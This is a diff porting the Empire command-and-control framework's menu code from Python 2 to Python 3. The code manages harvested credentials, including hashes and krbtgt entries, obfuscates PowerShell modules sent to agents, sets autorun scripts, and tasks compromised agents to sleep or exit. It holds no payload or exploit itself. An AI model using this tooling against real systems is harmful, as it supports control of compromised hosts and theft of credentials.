604624 self.credentials.add_credential(credType, domain, username, password, "", notes=notes)
605
625
606626 elif len(args) == 6:
607627 domain, username, password, notes, credType, sid = args
608628 self.credentials.add_credential(credType, domain, username, password, "", sid=sid, notes=notes)
609
629
610630 else:
611 print helpers.color("[!] Format is 'add domain username password <notes> <credType> <sid>")
631 print(helpers.color("[!] Format is 'add domain username password <notes> <credType> <sid>"))
612632 return
613
633
614634 creds = self.credentials.get_credentials()
615
635
616636 elif shlex.split(filterTerm)[0].lower() == "remove":
617
637
618638 try:
619639 args = shlex.split(filterTerm)[1:]
620640 if len(args) != 1:
621 print helpers.color("[!] Format is 'remove <credID>/<credID-credID>/all'")
641 print(helpers.color("[!] Format is 'remove <credID>/<credID-credID>/all'"))
622642 else:
623643 if args[0].lower() == "all":
624 choice = raw_input(helpers.color("[>] Remove all credentials from the database? [y/N] ", "red"))
644 choice = input(helpers.color("[>] Remove all credentials from the database? [y/N] ", "red"))
625645 if choice.lower() != "" and choice.lower()[0] == "y":
626646 self.credentials.remove_all_credentials()
627647 else:
630650 self.credentials.remove_credentials(credIDs)
631651 elif "-" in args[0]:
632652 parts = args[0].split("-")
633 credIDs = [x for x in xrange(int(parts[0]), int(parts[1]) + 1)]
653 credIDs = [x for x in range(int(parts[0]), int(parts[1]) + 1)]
634654 self.credentials.remove_credentials(credIDs)
635655 else:
636656 self.credentials.remove_credentials(args)
637
657
638658 except Exception:
639 print helpers.color("[!] Error in remove command parsing.")
640 print helpers.color("[!] Format is 'remove <credID>/<credID-credID>/all'")
641
659 print(helpers.color("[!] Error in remove command parsing."))
660 print(helpers.color("[!] Format is 'remove <credID>/<credID-credID>/all'"))
661
642662 return
643
644
663
664
645665 elif shlex.split(filterTerm)[0].lower() == "export":
646666 args = shlex.split(filterTerm)[1:]
647
667
648668 if len(args) != 1:
649 print helpers.color("[!] Please supply an output filename/filepath.")
669 print(helpers.color("[!] Please supply an output filename/filepath."))
650670 return
651671 else:
652672 self.credentials.export_credentials(args[0])
653673 return
654
674
655675 elif shlex.split(filterTerm)[0].lower() == "plaintext":
656676 creds = self.credentials.get_credentials(credtype="plaintext")
657
677
658678 elif shlex.split(filterTerm)[0].lower() == "hash":
659679 creds = self.credentials.get_credentials(credtype="hash")
660
680
661681 elif shlex.split(filterTerm)[0].lower() == "krbtgt":
662682 creds = self.credentials.get_krbtgt()
663
683
664684 else:
665685 creds = self.credentials.get_credentials(filterTerm=filterTerm)
666
686
667687 messages.display_credentials(creds)
668
669
688
689
670690 def do_set(self, line):
671691 "Set a global option (e.g. IP whitelists)."
672
692
673693 parts = line.split(' ')
674694 if len(parts) == 1:
675 print helpers.color("[!] Please enter 'IP,IP-IP,IP/CIDR' or a file path.")
695 print(helpers.color("[!] Please enter 'IP,IP-IP,IP/CIDR' or a file path."))
676696 else:
677697 if parts[0].lower() == "ip_whitelist":
678698 if parts[1] != "" and os.path.exists(parts[1]):
682702 open_file.close()
683703 self.agents.ipWhiteList = helpers.generate_ip_list(ipData)
684704 except Exception:
685 print helpers.color("[!] Error opening ip file %s" % (parts[1]))
705 print(helpers.color("[!] Error opening ip file %s" % (parts[1])))
686706 else:
687707 self.agents.ipWhiteList = helpers.generate_ip_list(",".join(parts[1:]))
688708 elif parts[0].lower() == "ip_blacklist":
693713 open_file.close()
694714 self.agents.ipBlackList = helpers.generate_ip_list(ipData)
695715 except Exception:
696 print helpers.color("[!] Error opening ip file %s" % (parts[1]))
716 print(helpers.color("[!] Error opening ip file %s" % (parts[1])))
697717 else:
698718 self.agents.ipBlackList = helpers.generate_ip_list(",".join(parts[1:]))
699719 elif parts[0].lower() == "obfuscate":
700720 if parts[1].lower() == "true":
701721 if not helpers.is_powershell_installed():
702 print helpers.color("[!] PowerShell is not installed and is required to use obfuscation, please install it first.")
722 print(helpers.color("[!] PowerShell is not installed and is required to use obfuscation, please install it first."))
703723 else:
704724 self.obfuscate = True
705
725
706726 message = "[*] Obfuscating all future powershell commands run on all agents."
707727 signal = json.dumps({
708728 'print': True,
709729 'message': message
710730 })
711731 dispatcher.send(signal, sender="empire")
712
732
713733 elif parts[1].lower() == "false":
714734 self.obfuscate = False
715
735
716736 message = "[*] Future powershell commands run on all agents will not be obfuscated."
717737 signal = json.dumps({
718738 'print': True,
719739 'message': message
720740 })
721741 dispatcher.send(signal, sender="empire")
722
742
723743 else:
724 print helpers.color("[!] Valid options for obfuscate are 'true' or 'false'")
744 print(helpers.color("[!] Valid options for obfuscate are 'true' or 'false'"))
725745 elif parts[0].lower() == "obfuscate_command":
726746 self.obfuscateCommand = parts[1]
727747 else:
728 print helpers.color("[!] Please choose 'ip_whitelist', 'ip_blacklist', 'obfuscate', or 'obfuscate_command'")
729
730
748 print(helpers.color("[!] Please choose 'ip_whitelist', 'ip_blacklist', 'obfuscate', or 'obfuscate_command'"))
749
750
731751 def do_reset(self, line):
732752 "Reset a global option (e.g. IP whitelists)."
733
753
734754 if line.strip().lower() == "ip_whitelist":
735755 self.agents.ipWhiteList = None
736756 if line.strip().lower() == "ip_blacklist":
737757 self.agents.ipBlackList = None
738
739
758
759
740760 def do_show(self, line):
741761 "Show a global option (e.g. IP whitelists)."
742
762
743763 if line.strip().lower() == "ip_whitelist":
744 print self.agents.ipWhiteList
764 print(self.agents.ipWhiteList)
745765 if line.strip().lower() == "ip_blacklist":
746 print self.agents.ipBlackList
766 print(self.agents.ipBlackList)
747767 if line.strip().lower() == "obfuscate":
748 print self.obfuscate
768 print(self.obfuscate)
749769 if line.strip().lower() == "obfuscate_command":
750 print self.obfuscateCommand
751
752
770 print(self.obfuscateCommand)
771
772
753773 def do_load(self, line):
754774 "Loads Empire modules from a non-standard folder."
755
775
756776 if line.strip() == '' or not os.path.isdir(line.strip()):
757 print helpers.color("[!] Please specify a valid folder to load modules from.")
777 print(helpers.color("[!] Please specify a valid folder to load modules from."))
758778 else:
759779 self.modules.load_modules(rootPath=line.strip())
760
761
780
781
762782 def do_reload(self, line):
763783 "Reload one (or all) Empire modules."
764
784
765785 if line.strip().lower() == "all":
766786 # reload all modules
767 print "\n" + helpers.color("[*] Reloading all modules.") + "\n"
787 print("\n" + helpers.color("[*] Reloading all modules.") + "\n")
768788 self.modules.load_modules()
769789 elif os.path.isdir(line.strip()):
770790 # if we're loading an external directory
771791 self.modules.load_modules(rootPath=line.strip())
772792 else:
773793 if line.strip() not in self.modules.modules:
774 print helpers.color("[!] Error: invalid module")
794 print(helpers.color("[!] Error: invalid module"))
775795 else:
776 print "\n" + helpers.color("[*] Reloading module: " + line) + "\n"
796 print("\n" + helpers.color("[*] Reloading module: " + line) + "\n")
777797 self.modules.reload_module(line)
778
779
798
799
780800 def do_list(self, line):
781801 "Lists active agents or listeners."
782
802
783803 parts = line.split(' ')
784
804
785805 if parts[0].lower() == 'agents':
786
806
787807 line = ' '.join(parts[1:])
788808 allAgents = self.agents.get_agents_db()
789
809
790810 if line.strip().lower() == 'stale':
791
811
792812 agentsToDisplay = []
793
813
794814 for agent in allAgents:
795
815
796816 # max check in -> delay + delay*jitter
797817 intervalMax = (agent['delay'] + agent['delay'] * agent['jitter']) + 30
798
818
799819 # get the agent last check in time
800820 agentTime = time.mktime(time.strptime(agent['lastseen_time'], "%Y-%m-%d %H:%M:%S"))
801821 if agentTime < time.mktime(time.localtime()) - intervalMax:
802822 # if the last checkin time exceeds the limit, remove it
803823 agentsToDisplay.append(agent)
804
824
805825 messages.display_agents(agentsToDisplay)
806
807
826
827
808828 elif line.strip() != '':
809829 # if we're listing an agents active in the last X minutes
810830 try:
811831 minutes = int(line.strip())
812
832
813833 # grab just the agents active within the specified window (in minutes)
814834 agentsToDisplay = []
815835 for agent in allAgents:
816836 agentTime = time.mktime(time.strptime(agent['lastseen_time'], "%Y-%m-%d %H:%M:%S"))
817
837
818838 if agentTime > time.mktime(time.localtime()) - (int(minutes) * 60):
819839 agentsToDisplay.append(agent)
820
840
821841 messages.display_agents(agentsToDisplay)
822
842
823843 except Exception:
824 print helpers.color("[!] Please enter the minute window for agent checkin.")
825
844 print(helpers.color("[!] Please enter the minute window for agent checkin."))
845
826846 else:
827847 messages.display_agents(allAgents)
828
829
848
849
830850 elif parts[0].lower() == 'listeners':
831851 messages.display_listeners(self.listeners.activeListeners)
832852 messages.display_listeners(self.listeners.get_inactive_listeners(), "Inactive")
833
834
853
854
835855 def do_interact(self, line):
836856 "Interact with a particular agent."
837
857
838858 name = line.strip()
839
859
840860 sessionID = self.agents.get_agent_id_db(name)
841861 if sessionID and sessionID != '' and sessionID in self.agents.agents:
842862 AgentMenu(self, sessionID)
843863 else:
844 print helpers.color("[!] Please enter a valid agent name")
845
864 print(helpers.color("[!] Please enter a valid agent name"))
865
846866 def do_preobfuscate(self, line):
847867 "Preobfuscate PowerShell module_source files"
848
868
849869 if not helpers.is_powershell_installed():
850 print helpers.color("[!] PowerShell is not installed and is required to use obfuscation, please install it first.")
870 print(helpers.color("[!] PowerShell is not installed and is required to use obfuscation, please install it first."))
851871 return
852
872
853873 module = line.strip()
854874 obfuscate_all = False
855875 obfuscate_confirmation = False
856876 reobfuscate = False
857
877
858878 # Preobfuscate ALL module_source files
859879 if module == "" or module == "all":
860 choice = raw_input(helpers.color("[>] Preobfuscate all PowerShell module_source files using obfuscation command: \"" + self.obfuscateCommand + "\"?\nThis may take a substantial amount of time. [y/N] ", "red"))
880 choice = input(helpers.color("[>] Preobfuscate all PowerShell module_source files using obfuscation command: \"" + self.obfuscateCommand + "\"?\nThis may take a substantial amount of time. [y/N] ", "red"))
861881 if choice.lower() != "" and choice.lower()[0] == "y":
862882 obfuscate_all = True
863883 obfuscate_confirmation = True
864 choice = raw_input(helpers.color("[>] Force reobfuscation of previously obfuscated modules? [y/N] ", "red"))
884 choice = input(helpers.color("[>] Force reobfuscation of previously obfuscated modules? [y/N] ", "red"))
865885 if choice.lower() != "" and choice.lower()[0] == "y":
866886 reobfuscate = True
867
887
868888 # Preobfuscate a selected module_source file
869889 else:
870890 module_source_fullpath = self.installPath + 'data/module_source/' + module
871891 if not os.path.isfile(module_source_fullpath):
872 print helpers.color("[!] The module_source file:" + module_source_fullpath + " does not exist.")
892 print(helpers.color("[!] The module_source file:" + module_source_fullpath + " does not exist."))
873893 return
874
875 choice = raw_input(helpers.color("[>] Preobfuscate the module_source file: " + module + " using obfuscation command: \"" + self.obfuscateCommand + "\"? [y/N] ", "red"))
894
895 choice = input(helpers.color("[>] Preobfuscate the module_source file: " + module + " using obfuscation command: \"" + self.obfuscateCommand + "\"? [y/N] ", "red"))
876896 if choice.lower() != "" and choice.lower()[0] == "y":
877897 obfuscate_confirmation = True
878 choice = raw_input(helpers.color("[>] Force reobfuscation of previously obfuscated modules? [y/N] ", "red"))
898 choice = input(helpers.color("[>] Force reobfuscation of previously obfuscated modules? [y/N] ", "red"))
879899 if choice.lower() != "" and choice.lower()[0] == "y":
880900 reobfuscate = True
881
901
882902 # Perform obfuscation
883903 if obfuscate_confirmation:
884904 if obfuscate_all:
896916 })
897917 dispatcher.send(signal, sender="empire")
898918 else:
899 print helpers.color("[*] " + os.path.basename(file) + " was already obfuscated. Not reobfuscating.")
919 print(helpers.color("[*] " + os.path.basename(file) + " was already obfuscated. Not reobfuscating."))
900920 helpers.obfuscate_module(file, self.obfuscateCommand, reobfuscate)
901
921
902922 def do_report(self, line):
903923 "Produce report CSV and log files: sessions.csv, credentials.csv, master.log"
904924 conn = self.get_db_connection()
905925 try:
906926 self.lock.acquire()
907
927
908928 # Agents CSV
909929 cur = conn.cursor()
910930 cur.execute('select session_id, hostname, username, checkin_time from agents')
911
931
912932 rows = cur.fetchall()
913 print helpers.color("[*] Writing data/sessions.csv")
933 print(helpers.color("[*] Writing data/sessions.csv"))
914934 f = open('data/sessions.csv','w')
915935 f.write("SessionID, Hostname, User Name, First Check-in\n")
916936 for row in rows:
917937 f.write(row[0]+ ','+ row[1]+ ','+ row[2]+ ','+ row[3]+'\n')
918938 f.close()
919
939
920940 # Credentials CSV
921941 cur.execute("""
922942 SELECT
932952 ,credtype
933953 ,host
934954 """)
935
955
936956 rows = cur.fetchall()
937 print helpers.color("[*] Writing data/credentials.csv")
957 print(helpers.color("[*] Writing data/credentials.csv"))
938958 f = open('data/credentials.csv','w')
939959 f.write('Domain, Username, Host, Cred Type, Password\n')
940960 for row in rows:
941961 f.write(row[0]+ ','+ row[1]+ ','+ row[2]+ ','+ row[3]+ ','+ row[4]+'\n')
942962 f.close()
943
963
944964 # Empire Log
945965 cur.execute("""
946966 SELECT
960980 reporting.event_type == 'task' OR reporting.event_type == 'checkin'
961981 """)
962982 rows = cur.fetchall()
963 print helpers.color("[*] Writing data/master.log")
983 print(helpers.color("[*] Writing data/master.log"))
964984 f = open('data/master.log', 'w')
965985 f.write('Empire Master Taskings & Results Log by timestamp\n')
966986 f.write('='*50 + '\n\n')
967987 for row in rows:
968 f.write('\n' + row[0] + ' - ' + row[3] + ' (' + row[2] + ')> ' + unicode(row[5]) + '\n' + unicode(row[6]) + '\n')
988 f.write('\n' + row[0] + ' - ' + row[3] + ' (' + row[2] + ')> ' + str(row[5]) + '\n' + str(row[6]) + '\n')
969989 f.close()
970990 cur.close()
971991 finally:
972992 self.lock.release()
973
993
974994 def complete_usemodule(self, text, line, begidx, endidx, language=None):
975995 "Tab-complete an Empire module path."
976
977 module_names = self.modules.modules.keys()
978
996
997 module_names = list(self.modules.modules.keys())
998
979999 # suffix each module requiring elevated context with '*'
9801000 for module_name in module_names:
9811001 try:
9841004 # handle modules without a NeedAdmins info key
9851005 except KeyError:
9861006 pass
987
1007
9881008 if language:
9891009 module_names = [ (module_name[len(language)+1:]) for module_name in module_names if module_name.startswith(language)]
990
1010
9911011 mline = line.partition(' ')[2]
992
1012
9931013 offs = len(mline) - len(text)
994
1014
9951015 module_names = [s[offs:] for s in module_names if s.startswith(mline)]
996
1016
9971017 return module_names
998
999
1018
1019
10001020 def complete_reload(self, text, line, begidx, endidx):
10011021 "Tab-complete an Empire PowerShell module path."
1002
1003 module_names = self.modules.modules.keys() + ["all"]
1004
1022
1023 module_names = list(self.modules.modules.keys()) + ["all"]
1024
10051025 mline = line.partition(' ')[2]
10061026 offs = len(mline) - len(text)
10071027 return [s[offs:] for s in module_names if s.startswith(mline)]
1008
1009
1028
1029
10101030 def complete_usestager(self, text, line, begidx, endidx):
10111031 "Tab-complete an Empire stager module path."
1012
1013 stagerNames = self.stagers.stagers.keys()
1014
1032
1033 stagerNames = list(self.stagers.stagers.keys())
1034
10151035 if line.split(' ')[1].lower() in stagerNames:
10161036 listenerNames = self.listeners.get_listener_names()
10171037 endLine = ' '.join(line.split(' ')[1:])
10241044 offs = len(mline) - len(text)
10251045 return [s[offs:] for s in stagerNames if s.startswith(mline)]
10261046
1027 def complete_setlist(self, text, line, begidx, endidx):
1028 "Tab-complete a global list option"
1047 def complete_uselistener(self, text, line, begidx, endidx):
1048 "Tab-complete an uselistener command"
10291049
1030 options = ["listeners", "agents"]
1031
1032 if line.split(' ')[1].lower() in options:
1033 return helpers.complete_path(text, line, arg=True)
1034
1035 mline = line.partition(' ')[2]
1036 offs = len(mline) - len(text)
1037 return [s[offs:] for s in options if s.startswith(mline)]
1038
1039 def complete_set(self, text, line, begidx, endidx):
1040 "Tab-complete a global option."
1041
1042 options = ["ip_whitelist", "ip_blacklist", "obfuscate", "obfuscate_command"]
1043
1044 if line.split(' ')[1].lower() in options:
1045 return helpers.complete_path(text, line, arg=True)
1046
1047 mline = line.partition(' ')[2]
1048 offs = len(mline) - len(text)
1049 return [s[offs:] for s in options if s.startswith(mline)]
1050
1051
1052 def complete_load(self, text, line, begidx, endidx):
1053 "Tab-complete a module load path."
1054 return helpers.complete_path(text, line)
1055
1056
1057 def complete_reset(self, text, line, begidx, endidx):
1058 "Tab-complete a global option."
1059
1060 return self.complete_set(text, line, begidx, endidx)
1061
1062
1063 def complete_show(self, text, line, begidx, endidx):
1064 "Tab-complete a global option."
1065
1066 return self.complete_set(text, line, begidx, endidx)
1067
1068
1069 def complete_creds(self, text, line, begidx, endidx):
1070 "Tab-complete 'creds' commands."
1071
1072 commands = ["add", "remove", "export", "hash", "plaintext", "krbtgt"]
1073
1074 mline = line.partition(' ')[2]
1075 offs = len(mline) - len(text)
1076 return [s[offs:] for s in commands if s.startswith(mline)]
1077
1078 def complete_interact(self, text, line, begidx, endidx):
1079 "Tab-complete an interact command"
1080
1081 names = self.agents.get_agent_names_db()
1082
1050 names = list(self.listeners.loadedListeners.keys())
10831051 mline = line.partition(' ')[2]
10841052 offs = len(mline) - len(text)
10851053 return [s[offs:] for s in names if s.startswith(mline)]
10861054
1055 def complete_setlist(self, text, line, begidx, endidx):
1056 "Tab-complete a global list option"
1057
1058 options = ["listeners", "agents"]
1059
1060 if line.split(' ')[1].lower() in options:
1061 return helpers.complete_path(text, line, arg=True)
1062
1063 mline = line.partition(' ')[2]
1064 offs = len(mline) - len(text)
1065 return [s[offs:] for s in options if s.startswith(mline)]
1066
1067 def complete_set(self, text, line, begidx, endidx):
1068 "Tab-complete a global option."
1069
1070 options = ["ip_whitelist", "ip_blacklist", "obfuscate", "obfuscate_command"]
1071
1072 if line.split(' ')[1].lower() in options:
1073 return helpers.complete_path(text, line, arg=True)
1074
1075 mline = line.partition(' ')[2]
1076 offs = len(mline) - len(text)
1077 return [s[offs:] for s in options if s.startswith(mline)]
1078
1079
1080 def complete_load(self, text, line, begidx, endidx):
1081 "Tab-complete a module load path."
1082 return helpers.complete_path(text, line)
1083
1084
1085 def complete_reset(self, text, line, begidx, endidx):
1086 "Tab-complete a global option."
1087
1088 return self.complete_set(text, line, begidx, endidx)
1089
1090
1091 def complete_show(self, text, line, begidx, endidx):
1092 "Tab-complete a global option."
1093
1094 return self.complete_set(text, line, begidx, endidx)
1095
1096
1097 def complete_creds(self, text, line, begidx, endidx):
1098 "Tab-complete 'creds' commands."
1099
1100 commands = ["add", "remove", "export", "hash", "plaintext", "krbtgt"]
1101
1102 mline = line.partition(' ')[2]
1103 offs = len(mline) - len(text)
1104 return [s[offs:] for s in commands if s.startswith(mline)]
1105
1106 def complete_interact(self, text, line, begidx, endidx):
1107 "Tab-complete an interact command"
1108
1109 names = self.agents.get_agent_names_db()
1110 mline = line.partition(' ')[2]
1111 offs = len(mline) - len(text)
1112 return [s[offs:] for s in names if s.startswith(mline)]
1113
10871114 def complete_list(self, text, line, begidx, endidx):
10881115 "Tab-complete list"
1089
1116
10901117 return self.complete_setlist(text, line, begidx, endidx)
1091
1118
10921119 def complete_preobfuscate(self, text, line, begidx, endidx):
10931120 "Tab-complete an interact command"
10941121 options = [ (option[len('data/module_source/'):]) for option in helpers.get_module_source_files() ]
10951122 options.append('all')
1096
1123
10971124 mline = line.partition(' ')[2]
10981125 offs = len(mline) - len(text)
10991126 return [s[offs:] for s in options if s.startswith(mline)]
11001127
11011128 class SubMenu(cmd.Cmd):
1102
1129
11031130 def __init__(self, mainMenu):
11041131 cmd.Cmd.__init__(self)
11051132 self.mainMenu = mainMenu
1106
1133
11071134 def cmdloop(self):
1108 if len(self.mainMenu.resourceQueue) > 0:
1109 self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
1110 cmd.Cmd.cmdloop(self)
1111
1135 if len(self.mainMenu.resourceQueue) > 0:
1136 self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0))
1137 cmd.Cmd.cmdloop(self)
1138
11121139 def emptyline(self):
11131140 pass
1114
1115
1141
1142
11161143 def postcmd(self, stop, line):
11171144 if line == "back":
11181145 return True
11211148 if nextcmd == "lastautoruncmd":
11221149 raise Exception("endautorun")
11231150 self.cmdqueue.append(nextcmd)
1124
1125
1151
1152
11261153 def do_back(self, line):
11271154 "Go back a menu."
11281155 return True
1129
1156
11301157 def do_listeners(self, line):
11311158 "Jump to the listeners menu."
11321159 raise NavListeners()
1133
1160
11341161 def do_agents(self, line):
11351162 "Jump to the agents menu."
11361163 raise NavAgents()
1137
1164
11381165 def do_main(self, line):
11391166 "Go back to the main menu."
11401167 raise NavMain()
1141
1168
11421169 def do_resource(self, arg):
1143 "Read and execute a list of Empire commands from a file."
1144 self.mainMenu.resourceQueue.extend(self.mainMenu.buildQueue(arg))
1145
1170 "Read and execute a list of Empire commands from a file."
1171 self.mainMenu.resourceQueue.extend(self.mainMenu.buildQueue(arg))
1172
11461173 def do_exit(self, line):
11471174 "Exit Empire."
11481175 raise KeyboardInterrupt
1149
1176
11501177 def do_creds(self, line):
11511178 "Display/return credentials from the database."
11521179 self.mainMenu.do_creds(line)
1153
1180
11541181 # print a nicely formatted help menu
11551182 # stolen/adapted from recon-ng
11561183 def print_topics(self, header, commands, cmdlen, maxcol):
11621189 self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
11631190 self.stdout.write("\n")
11641191
1165 # def preloop(self):
1166 # traceback.print_stack()
1192 # def preloop(self):
1193 # traceback.print_stack()
11671194
11681195 class AgentsMenu(SubMenu):
11691196 """
11711198 """
11721199 def __init__(self, mainMenu):
11731200 SubMenu.__init__(self, mainMenu)
1174
1201
11751202 self.doc_header = 'Commands'
1176
1203
11771204 # set the prompt text
11781205 self.prompt = '(Empire: ' + helpers.color("agents", color="blue") + ') > '
1179
1206
11801207 messages.display_agents(self.mainMenu.agents.get_agents_db())
1181
1208
11821209 def do_back(self, line):
11831210 "Go back to the main menu."
11841211 raise NavMain()
1185
1212
11861213 def do_autorun(self, line):
1187 "Read and execute a list of Empire commands from a file and execute on each new agent \"autorun <resource file> <agent language>\" e.g. \"autorun /root/ps.rc powershell\". Or clear any autorun setting with \"autorun clear\" and show current autorun settings with \"autorun show\""
1188 line = line.strip()
1214 "Read and execute a list of Empire commands from a file and execute on each new agent \"autorun <resource file> <agent language>\" e.g. \"autorun /root/ps.rc powershell\". Or clear any autorun setting with \"autorun clear\" and show current autorun settings with \"autorun show\""
1215 line = line.strip()
11891216 if not line:
1190 print helpers.color("[!] You must specify a resource file, show or clear. e.g. 'autorun /root/res.rc powershell' or 'autorun clear'")
1191 return
1192 cmds = line.split(' ')
1193 resourceFile = cmds[0]
1194 language = None
1217 print(helpers.color("[!] You must specify a resource file, show or clear. e.g. 'autorun /root/res.rc powershell' or 'autorun clear'"))
1218 return
1219 cmds = line.split(' ')
1220 resourceFile = cmds[0]
1221 language = None
11951222 if len(cmds) > 1:
1196 language = cmds[1].lower()
1197 elif not resourceFile == "show" and not resourceFile == "clear":
1198 print helpers.color("[!] You must specify the agent language to run this module on. e.g. 'autorun /root/res.rc powershell' or 'autorun /root/res.rc python'")
1199 return
1200 #show the current autorun settings by language or all
1201 if resourceFile == "show":
1202 if language:
1203 if self.mainMenu.autoRuns.has_key(language):
1204 print self.mainMenu.autoRuns[language]
1205 else:
1206 print "No autorun commands for language %s" % language
1207 else:
1208 print self.mainMenu.autoRuns
1209 #clear autorun settings by language or all
1210 elif resourceFile == "clear":
1211 if language and not language == "all":
1212 if self.mainMenu.autoRuns.has_key(language):
1213 self.mainMenu.autoRuns.pop(language)
1214 else:
1215 print "No autorun commands for language %s" % language
1216 else:
1217 #clear all autoruns
1218 self.mainMenu.autoRuns.clear()
1219 #read in empire commands from the specified resource file
1220 else:
1221 self.mainMenu.autoRuns[language] = self.mainMenu.buildQueue(resourceFile, True)
1222
1223
1223 language = cmds[1].lower()
1224 elif not resourceFile == "show" and not resourceFile == "clear":
1225 print(helpers.color("[!] You must specify the agent language to run this module on. e.g. 'autorun /root/res.rc powershell' or 'autorun /root/res.rc python'"))
1226 return
1227 #show the current autorun settings by language or all
1228 if resourceFile == "show":
1229 if language:
1230 if language in self.mainMenu.autoRuns:
1231 print(self.mainMenu.autoRuns[language])
1232 else:
1233 print("No autorun commands for language %s" % language)
1234 else:
1235 print(self.mainMenu.autoRuns)
1236 #clear autorun settings by language or all
1237 elif resourceFile == "clear":
1238 if language and not language == "all":
1239 if language in self.mainMenu.autoRuns:
1240 self.mainMenu.autoRuns.pop(language)
1241 else:
1242 print("No autorun commands for language %s" % language)
1243 else:
1244 #clear all autoruns
1245 self.mainMenu.autoRuns.clear()
1246 #read in empire commands from the specified resource file
1247 else:
1248 self.mainMenu.autoRuns[language] = self.mainMenu.buildQueue(resourceFile, True)
1249
1250
12241251 def do_list(self, line):
12251252 "Lists all active agents (or listeners)."
1226
1253
12271254 if line.lower().startswith("listeners"):
12281255 self.mainMenu.do_list("listeners " + str(' '.join(line.split(' ')[1:])))
12291256 elif line.lower().startswith("agents"):
12301257 self.mainMenu.do_list("agents " + str(' '.join(line.split(' ')[1:])))
12311258 else:
12321259 self.mainMenu.do_list("agents " + str(line))
1233
1260
12341261 def do_rename(self, line):
12351262 "Rename a particular agent."
1236
1263
12371264 parts = line.strip().split(' ')
1238
1265
12391266 # name sure we get an old name and new name for the agent
12401267 if len(parts) == 2:
12411268 # replace the old name with the new name
12421269 self.mainMenu.agents.rename_agent(parts[0], parts[1])
12431270 else:
1244 print helpers.color("[!] Please enter an agent name and new name")
1245
1246
1271 print(helpers.color("[!] Please enter an agent name and new name"))
1272
1273
12471274 def do_interact(self, line):
12481275 "Interact with a particular agent."
1249
1276
12501277 name = line.strip()
1251
1278
12521279 sessionID = self.mainMenu.agents.get_agent_id_db(name)
1253
1280
12541281 if sessionID and sessionID != '' and sessionID in self.mainMenu.agents.agents:
12551282 AgentMenu(self.mainMenu, sessionID)
12561283 else:
1257 print helpers.color("[!] Please enter a valid agent name")
1258
1259
1284 print(helpers.color("[!] Please enter a valid agent name"))
1285
1286
12601287 def do_kill(self, line):
12611288 "Task one or more agents to exit."
1262
1289
12631290 name = line.strip()
1264
1291
12651292 if name.lower() == 'all':
12661293 try:
1267 choice = raw_input(helpers.color('[>] Kill all agents? [y/N] ', 'red'))
1294 choice = input(helpers.color('[>] Kill all agents? [y/N] ', 'red'))
12681295 if choice.lower() != '' and choice.lower()[0] == 'y':
12691296 allAgents = self.mainMenu.agents.get_agents_db()
12701297 for agent in allAgents:
12711298 sessionID = agent['session_id']
12721299 self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_EXIT')
12731300 except KeyboardInterrupt:
1274 print ''
1275
1276 else:
1277 try:
1278 choice = raw_input(helpers.color("[>] Kill agent '%s'? [y/N] " % (name), 'red'))
1279
1280 # extract the sessionID and clear the agent tasking
1281 sessionID = self.mainMenu.agents.get_agent_id_db(name)
1282
1283 if sessionID and len(sessionID) != 0:
1284 self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_EXIT')
1285 else:
1286 print helpers.color("[!] Invalid agent name")
1287 except KeyboardInterrupt:
1288 print ''
1289
1301 print('')
1302
1303 else:
1304 # extract the sessionID and clear the agent tasking
1305 sessionID = self.mainMenu.agents.get_agent_id_db(name)
1306
1307 if sessionID and len(sessionID) != 0:
1308 try:
1309 choice = input(helpers.color("[>] Kill agent '%s'? [y/N] " % (name), 'red'))
1310 if choice.lower() != '' and choice.lower()[0] == 'y':
1311 self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_EXIT')
1312 except KeyboardInterrupt:
1313 print('')
1314 else:
1315 print(helpers.color("[!] Invalid agent name"))
1316
12901317 def do_clear(self, line):
12911318 "Clear one or more agent's taskings."
1292
1319
12931320 name = line.strip()
1294
1321
12951322 if name.lower() == 'all':
12961323 self.mainMenu.agents.clear_agent_tasks_db('all')
12971324 elif name.lower() == 'autorun':
12991326 else:
13001327 # extract the sessionID and clear the agent tasking
13011328 sessionID = self.mainMenu.agents.get_agent_id_db(name)
1302
1329
13031330 if sessionID and len(sessionID) != 0:
13041331 self.mainMenu.agents.clear_agent_tasks_db(sessionID)
13051332 else:
1306 print helpers.color("[!] Invalid agent name")
1307
1308
1333 print(helpers.color("[!] Invalid agent name"))
1334
1335
13091336 def do_sleep(self, line):
13101337 "Task one or more agents to 'sleep [agent/all] interval [jitter]'"
1311
1338
13121339 parts = line.strip().split(' ')
1313
1340
13141341 if len(parts) == 1:
1315 print helpers.color("[!] Please enter 'interval [jitter]'")
1316
1342 print(helpers.color("[!] Please enter 'interval [jitter]'"))
1343
13171344 elif parts[0].lower() == 'all':
13181345 delay = parts[1]
13191346 jitter = 0.0
13201347 if len(parts) == 3:
13211348 jitter = parts[2]
1322
1349
13231350 allAgents = self.mainMenu.agents.get_agents_db()
1324
1351
13251352 for agent in allAgents:
13261353 sessionID = agent['session_id']
13271354 # update this agent info in the database
13291356 self.mainMenu.agents.set_agent_field_db('jitter', jitter, sessionID)
13301357 # task the agent
13311358 self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', 'Set-Delay ' + str(delay) + ' ' + str(jitter))
1332
1359
13331360 # dispatch this event
13341361 message = "[*] Tasked agent to delay sleep/jitter {}/{}".format(delay, jitter)
13351362 signal = json.dumps({
13371364 'message': message
13381365 })
13391366 dispatcher.send(signal, sender="agents/{}".format(sessionID))
1340
1367
13411368 # update the agent log
13421369 msg = "Tasked agent to delay sleep/jitter %s/%s" % (delay, jitter)
13431370 self.mainMenu.agents.save_agent_log(sessionID, msg)
1344
1371
13451372 else:
13461373 # extract the sessionID and clear the agent tasking
13471374 sessionID = self.mainMenu.agents.get_agent_id_db(parts[0])
1348
1375
13491376 delay = parts[1]
13501377 jitter = 0.0
13511378 if len(parts) == 3:
13521379 jitter = parts[2]
1353
1380
13541381 if sessionID and len(sessionID) != 0:
13551382 # update this agent's information in the database
13561383 self.mainMenu.agents.set_agent_field_db('delay', delay, sessionID)
13571384 self.mainMenu.agents.set_agent_field_db('jitter', jitter, sessionID)
1358
1385
13591386 self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', 'Set-Delay ' + str(delay) + ' ' + str(jitter))
1360
1387
13611388 # dispatch this event
